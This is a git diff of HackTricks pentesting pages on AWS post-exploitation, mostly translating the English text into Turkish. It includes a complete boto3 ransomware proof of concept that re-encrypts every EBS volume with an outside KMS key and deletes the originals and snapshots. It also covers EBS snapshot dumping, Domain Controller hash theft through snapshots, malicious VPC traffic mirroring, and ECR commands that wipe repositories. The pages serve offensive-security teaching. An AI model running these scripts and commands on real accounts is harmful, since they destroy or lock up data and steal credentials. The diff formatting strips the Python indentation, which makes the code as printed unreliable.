```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. Ardından 'kurban' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmaya çalıştığınızda, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza dek geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..cc530a175 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Bir snapshot'ı yerel olarak kontrol etme ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Not** `dsnap` kamu anlık görüntülerini indirmenize izin vermeyecektir. Bunu aşmak için, anlık görüntüyü kişisel hesabınıza kopyalayabilir ve onu indirebilirsiniz: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Daha fazla bilgi için bu tekniği [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) adresindeki orijinal araştırmaya bakın. -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Bunu Pacu ile [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz. +## AWS'de bir anlık görüntüyü kontrol etme ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Kontrolünüz altındaki bir EC2 VM'ye bağlayın** (yedek kopyasıyla aynı bölgede olmalıdır): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Adım 1: EC2 –> Volumes bölümüne giderek tercih ettiğiniz boyut ve türde yeni bir hacim oluşturulmalıdır. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +Bu işlemi gerçekleştirebilmek için şu komutları izleyin: -To be able to perform this action, follow these commands: +- EC2 örneğine eklemek için bir EBS hacmi oluşturun. +- EBS hacminin ve örneğin aynı bölgede olduğundan emin olun. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Adım 2: Oluşturulan hacme sağ tıklayarak "attach volume" seçeneği seçilmelidir. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Adım 3: Örnek metin kutusundan örnek seçilmelidir. -Step 3: The instance from the instance text box is to be selected. +Bu işlemi gerçekleştirebilmek için aşağıdaki komutu kullanın: -To be able to perform this action, use the following command: +- EBS hacmini ekleyin. -- Attach the EBS volume. +Adım 4: EC2 örneğine giriş yapın ve `lsblk` komutunu kullanarak mevcut diskleri listeleyin. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Adım 5: Hacmin herhangi bir verisi olup olmadığını kontrol etmek için `sudo file -s /dev/xvdf` komutunu kullanın. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Yukarıdaki komutun çıktısı "/dev/xvdf: data" gösteriyorsa, hacim boştur. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ya ext4 ya da xfs kullanmanız gerektiğini unutmayın. -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Adım 7: Yeni ext4 hacmini bağlamak için istediğiniz bir dizin oluşturun. Örneğin, "newvolume" adını kullanabilirsiniz. -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Bu işlemi gerçekleştirebilmek için `sudo mkdir /newvolume` komutunu kullanın. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Adım 8: Hacmi "newvolume" dizinine bağlamak için `sudo mount /dev/xvdf /newvolume/` komutunu kullanın. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Adım 9: "newvolume" dizinine geçin ve hacim bağlamasını doğrulamak için disk alanını kontrol edin. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Bu işlemi gerçekleştirebilmek için şu komutları kullanın: -To be able to perform this action, use the following commands: +- Dizin değiştirin `/newvolume`. +- Disk alanını kontrol etmek için `df -h .` komutunu kullanın. Bu komutun çıktısı "newvolume" dizinindeki boş alanı göstermelidir. -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +Bunu Pacu ile `ebs__explore_snapshots` modülünü kullanarak yapabilirsiniz. +## AWS'de bir anlık görüntüyü kontrol etme (cli kullanarak) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahipse, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi için kullanmak üzere dışa aktarabilir. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..0689a2d7e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,19 +1,15 @@ -# AWS - Malicious VPC Mirror +# AWS - Kötü Amaçlı VPC Aynası {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Saldırı hakkında daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmektedir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adı verilen yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklere herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, **analiz** için bir ağ saldırı tespit sistemi (IDS) gönderilebilir. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +VPC trafiğini aynalamak ve dışa aktarmak için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla “**malmirror**” adlı bir kanıt-of-kavram betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için aynalama kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemiyle desteklenen EC2 örnekleri tarafından desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +Kötü amaçlı VPC trafik aynalamanın **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalamanın **olasılığı** yüksektir, çünkü VPC'ler üzerinden akan **düz metin trafiği** mevcuttur. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, **performans nedenleri** için iç ağlarında düz metin protokolleri kullanmaktadır. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, bu da onu saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..5bf45de25 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -4,14 +4,13 @@ ## ECR -For more information check +Daha fazla bilgi için kontrol edin {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### Giriş, Çekme & Gönderme ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +İmajları indirdikten sonra **hassas bilgileri kontrol etmelisiniz**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Bu izinlerden herhangi birine sahip bir saldırgan, **depolama alanındaki tüm imajları silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm konteyner imajlarının kaybına yol açar. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..b7950a0e1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,50 +4,45 @@ ## ECS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### Host IAM Rolleri -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir.** **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\ +Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini 